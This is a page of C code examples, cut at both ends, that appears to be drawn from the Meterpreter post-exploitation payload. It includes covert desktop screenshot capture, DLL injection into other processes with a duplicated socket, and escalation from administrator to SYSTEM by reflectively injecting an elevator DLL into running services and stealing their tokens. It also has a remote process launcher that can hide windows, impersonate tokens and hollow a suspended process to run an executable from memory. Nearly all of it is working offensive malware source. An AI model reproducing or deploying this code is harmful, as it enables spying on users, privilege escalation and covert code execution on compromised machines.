		packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
	} while (0);

	return dwResult;
}
Esempio n. 16
0
/*
 * Take a screenshot of this sessions default input desktop on WinSta0
 * and send it as a JPEG image to a named pipe.
 */
DWORD screenshot( int quality, DWORD dwPipeName )
{
	DWORD dwResult             = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation     = NULL;
	HWINSTA hOrigWindowStation = NULL;
	HDESK hInputDesktop        = NULL;
	HDESK hOrigDesktop         = NULL;
	HWND hDesktopWnd           = NULL;	
	HDC hdc                    = NULL;
	HDC hmemdc                 = NULL;
	HBITMAP hbmp               = NULL;
	BYTE * pJpegBuffer         = NULL;
	OSVERSIONINFO os           = {0};
	char cNamedPipe[MAX_PATH]  = {0};
	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
	int xmetric               = SM_CXVIRTUALSCREEN;
	int ymetric               = SM_CYVIRTUALSCREEN;
	DWORD dwJpegSize          = 0;
	int sx                    = 0;
	int sy                    = 0;

	do
	{
		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
		
		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
		if( os.dwMajorVersion <= 4 )
		{
			xmetric = SM_CXSCREEN;
			ymetric = SM_CYSCREEN;
		}
		
		// open the WinSta0 as some services are attached to a different window station.
		hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		if( !hWindowStation )
		{
			if( RevertToSelf() )
				hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		}
		
		// if we cant open the defaut input station we wont be able to take a screenshot
		if( !hWindowStation )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
		
		// get the current process's window station so we can restore it later on.
		hOrigWindowStation = GetProcessWindowStation();
		
		// set the host process's window station to this sessions default input station we opened
		if( !SetProcessWindowStation( hWindowStation ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );

		// get the threads current desktop so we can restore it later on
		hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );

		// and now we can grab a handle to this input desktop
		hDesktopWnd = GetDesktopWindow();

		// and get a DC from it so we can read its pixels!
		hdc = GetDC( hDesktopWnd );
		if( !hdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );

		// back up this DC with a memory DC
		hmemdc = CreateCompatibleDC( hdc );
		if( !hmemdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );

		// calculate the width and height
		sx = GetSystemMetrics( xmetric );
		sy = GetSystemMetrics( ymetric );

		// and create a bitmap
		hbmp = CreateCompatibleBitmap( hdc, sx, sy );
		if( !hbmp )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
		
		// this bitmap is backed by the memory DC
		if( !SelectObject( hmemdc, hbmp ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );

		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created 
		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );

		// finally convert the BMP we just made into a JPEG...
		if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );

		// we have succeded
		dwResult = ERROR_SUCCESS;
		
	} while( 0 );

	// if we have successfully taken a screenshot we send it back via the named pipe
	// but if we have failed we send back a zero byte result to indicate this failure.
	if( dwResult == ERROR_SUCCESS )
		screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
	else
		screenshot_send( cNamedPipe, NULL, 0 );

	if( hdc )
		ReleaseDC( hDesktopWnd, hdc );

	if( hmemdc )
		DeleteDC( hmemdc );

	if( hbmp )
		DeleteObject( hbmp );

	// free the jpeg images buffer
	if( pJpegBuffer )
		free( pJpegBuffer );

	// restore the origional process's window station
	if( hOrigWindowStation )
		SetProcessWindowStation( hOrigWindowStation );

	// restore the threads origional desktop
	if( hOrigDesktop )
		SetThreadDesktop( hOrigDesktop );

	// close the WinSta0 window station handle we opened
	if( hWindowStation )
		CloseWindowStation( hWindowStation );

	// close this last to avoid a handle leak...
	if( hInputDesktop )
		CloseDesktop( hInputDesktop );

	return dwResult;
}
Esempio n. 17
0
/*
 * A pre injection hook called before our dll has been injected into a process.
 */
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
{
	DWORD dwResult               = ERROR_SUCCESS;
	LPVOID lpMemory              = NULL;
	AGENT_CTX RemoteAgentContext = {0};
	int i                        = 0;

	do
	{
		if( !hProcess || !cpCommandLine )
			BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );

		// Use User32!WaitForInputIdle to slow things down so if it's a new
		// process (like a new winlogon.exe) it can have a chance to initilize...
		// Bad things happen if we inject into an uninitilized process.
		WaitForInputIdle( hProcess, 10000 );

		CLOSE_HANDLE( hAgentCloseEvent );
		CLOSE_HANDLE( hAgentProcess );

		memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );

		hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
		if( !hAgentCloseEvent )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );

		if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
		
		dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );

		// Duplicate the socket for the target process
		if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
			BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
	
		// Allocate memory for the migrate stub, context and payload
		lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
		if( !lpMemory )
			BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
		
		/*for( i=0 ; i<4 ; i++ )
		{
			DWORD dwSize = 0;

			if( !AgentContext.dictionaries[i] )
				continue;
			
			dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );

			RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
			if( !RemoteAgentContext.dictionaries[i] )
				continue;

			if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
				RemoteAgentContext.dictionaries[i] = NULL;
		}*/

		// Write the ctx to memory...
		if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
			BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )

		hAgentProcess = hProcess;

		_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );

	} while( 0 );

	if( dwResult != ERROR_SUCCESS )
	{
		dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
		CLOSE_HANDLE( hAgentCloseEvent );
	}

	return dwResult;
}
Esempio n. 18
0
/*
 * Post an arbitrary message back to a loader.
 */
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
{
	DWORD dwResult            = ERROR_SUCCESS;
	HANDLE hPipe              = NULL;
	BYTE * pBuffer            = NULL;
	char cNamedPipe[MAX_PATH] = {0};
	DWORD dwWritten           = 0;
	DWORD dwLength            = 0;

	do
	{
		if( !lpAgentContext )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
		
		dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;

		pBuffer = (BYTE *)malloc( dwLength );
		if( !pBuffer )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
				
		memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
		memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
		memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );

		if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );

		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );

		dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);

		while( TRUE )
		{
			hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
			if( hPipe != INVALID_HANDLE_VALUE )
				break;

			if( GetLastError() != ERROR_PIPE_BUSY )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );

			if( !WaitNamedPipe( cNamedPipe, 20000 ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
		}
		
		if( dwResult == ERROR_SUCCESS )
		{
			if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
		}

	} while( 0 );

	CLOSE_HANDLE( hPipe );

	if( pBuffer )
		free( pBuffer );
		
	ReleaseMutex( hMessageMutex );

	return dwResult;
}
Esempio n. 19
0
/*
 * Elevate from local admin to local system via code injection in a system service.
 * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
 * service process from a non elevated admin.
 *
 * A current limitation in LoadRemoteLibraryR prevents this from working across 
 * architectures so we just filter out running this from an x64 platform for now.
 */
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
	DWORD dwResult                   = ERROR_SUCCESS;
	HANDLE hToken                    = NULL;
	HANDLE hTokenDup                 = NULL;
	HANDLE hProcess                  = NULL;
	HANDLE hThread                   = NULL;
	HANDLE hManager                  = NULL;
	HANDLE hService                  = NULL;
	LPVOID lpServiceBuffer           = NULL;
	LPVOID lpRemoteCommandLine       = NULL;
	ENUM_SERVICE_STATUS * lpServices = NULL;
	char * cpServiceName             = NULL;
	SERVICE_STATUS_PROCESS status    = {0};
	char cCommandLine[128]           = {0};
	OSVERSIONINFO os                 = {0};
	DWORD dwServiceLength            = 0;
	DWORD dwBytes                    = 0;
	DWORD index                      = 0;
	DWORD dwServicesReturned         = 0;
	DWORD dwExitCode                 = 0;

	do
	{
		// only works on x86 systems for now...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )

		// filter out Windows NT4 
		if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )

		cpServiceName   = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );

		hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
		if( !hManager )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
		
		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
		{
			if( GetLastError() != ERROR_MORE_DATA )
				BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
		}

		lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
		if( !lpServices )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );

		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
	
		dwResult = ERROR_ACCESS_DENIED;

		// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
		// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
		for( index=0 ; index<dwServicesReturned ; index++ )
		{
			do
			{
				hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); 
				if( !hService )
					break;

				if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
					break;
				
				if( status.dwCurrentState != SERVICE_RUNNING )
					break;

				// open a handle to this service (assumes we have SeDebugPrivilege)...
				hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
				if( !hProcess )
					break;

				dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId  );
	
				_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );

				// alloc some space and write the commandline which we will pass to the injected dll...
				lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
				if( !lpRemoteCommandLine )
					break; 

				if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
					break;

				// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
				hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
				if( !hThread )
					break;

				// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
				if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
					break;

				// get the exit code for our injected elevator.dll
				if( !GetExitCodeThread( hThread, &dwExitCode ) )
					break;

				// if the exit code was successfull we have been given a local system token, so we duplicate it
				// as a primary token for use by metsrv
				if( dwExitCode == ERROR_SUCCESS )
				{
					if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
					{

						if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
						{
							core_update_thread_token( remote, hTokenDup );
							dwResult = ERROR_SUCCESS;
							break;
						}
					}
				}

			} while( 0 );

			CLOSE_SERVICE_HANDLE( hService );

			CLOSE_HANDLE( hProcess );

			CLOSE_HANDLE( hThread );

			CLOSE_HANDLE( hToken );
			
			if( dwResult == ERROR_SUCCESS )
				break;
		}

	} while( 0 );

	CLOSE_SERVICE_HANDLE( hManager );

	if( lpServices )
		free( lpServices );

	SetLastError( dwResult );

	return dwResult;
}
Esempio n. 20
0
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
#ifdef _WIN32
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
			break;

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
		{
			do
			{
				cpDesktop = (char *)malloc( 512 );
				if( !cpDesktop )
					break;

				memset( cpDesktop, 0, 512 );

				lock_acquire( remote->lock );

				_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );

				lock_release( remote->lock );

				si.lpDesktop = cpDesktop;

			} while( 0 );
		}

		// If the remote endpoint provided arguments, combine them with the 
		// executable to produce a command line
		if (path && arguments)
		{
			DWORD commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
			commandLine = path;
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags   |= STARTF_USESTDHANDLES;
			si.hStdInput  = in[0];
			si.hStdOutput = out[1];
			si.hStdError  = out[1];
			inherit       = TRUE;
			createFlags  |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin   = in[1];
			ctx->pStdout  = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags     |= STARTF_USESHOWWINDOW;
			si.wShowWindow  = SW_HIDE;
			createFlags    |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->hThreadToken){
				token = remote->hThreadToken;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if ( NULL != hUserEnvLib ) {
				lpfnCreateEnvironmentBlock  = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" );
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" );
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) {
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				} else {
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) )
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32   = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				int size           = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if( result == ERROR_PRIVILEGE_NOT_HELD )
				{
					do
					{
						hAdvapi32 = LoadLibrary( "advapi32.dll" );
						if( !hAdvapi32 )
							break;

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" );
						if( !pCreateProcessWithTokenW )
							break;

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs( NULL, commandLine, 0 );
						if( size < 0 )
							break;

						wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
						mbstowcs( wcmdline, commandLine, size );
						
						if( si.lpDesktop )
						{
							size = mbstowcs( NULL, (char *)si.lpDesktop, 0 );
							if( size > 0 )
							{
								wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
								mbstowcs( wdesktop, (char *)si.lpDesktop, size );
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) )
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while( 0 );

					if( hAdvapi32 )
						FreeLibrary( hAdvapi32 );

					if( wdesktop )
						free( wdesktop );
					
					if( wcmdline )
						free( wcmdline );
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if( lpfnDestroyEnvironmentBlock && pEnvironment )
				lpfnDestroyEnvironmentBlock( pEnvironment );

			if( NULL != hUserEnvLib )
				FreeLibrary( hUserEnvLib );
		}
		else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
		{
			typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken     = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess     = FALSE;
			DWORD dwResult    = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );

				session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );

				if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
				{
					if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
					if( !pWTSQueryUserToken )
						BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );

					if( !pWTSQueryUserToken( session, &hToken ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
						
					if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
				}

			} while( 0 );
			
			if( hWtsapi32 )
				FreeLibrary( hWtsapi32 );

			if( hToken )
				CloseHandle( hToken );

			result = dwResult;

			if( result != ERROR_SUCCESS )
				break;
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory) {

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we 
		// failed but return a process id and this will throw off the ruby side.
		if( result == ERROR_SUCCESS )
		{
			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
		CloseHandle(in[0]);
	if (out[1])
		CloseHandle(out[1]);

	// Free the command line if necessary
	if (path && arguments && commandLine)
		free(commandLine);

	if( cpDesktop )
		free( cpDesktop );
#else
	PCHAR path, arguments;;
	DWORD flags;
	char *argv[8], *command_line;
	int cl_len = 0;
	int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
	int master = -1, slave = -1;
	int devnull = -1;
	int idx, i;
	pid_t pid;
	int have_pty = -1;

	int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);

	dprintf( "[PROCESS] request_sys_process_execute" );

	do {
		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
		}

		// how to handle a single string argument line? we don't have a lexer/parser to
		// correctly handle stuff like quotes, etc. could dumbly parse on white space to 
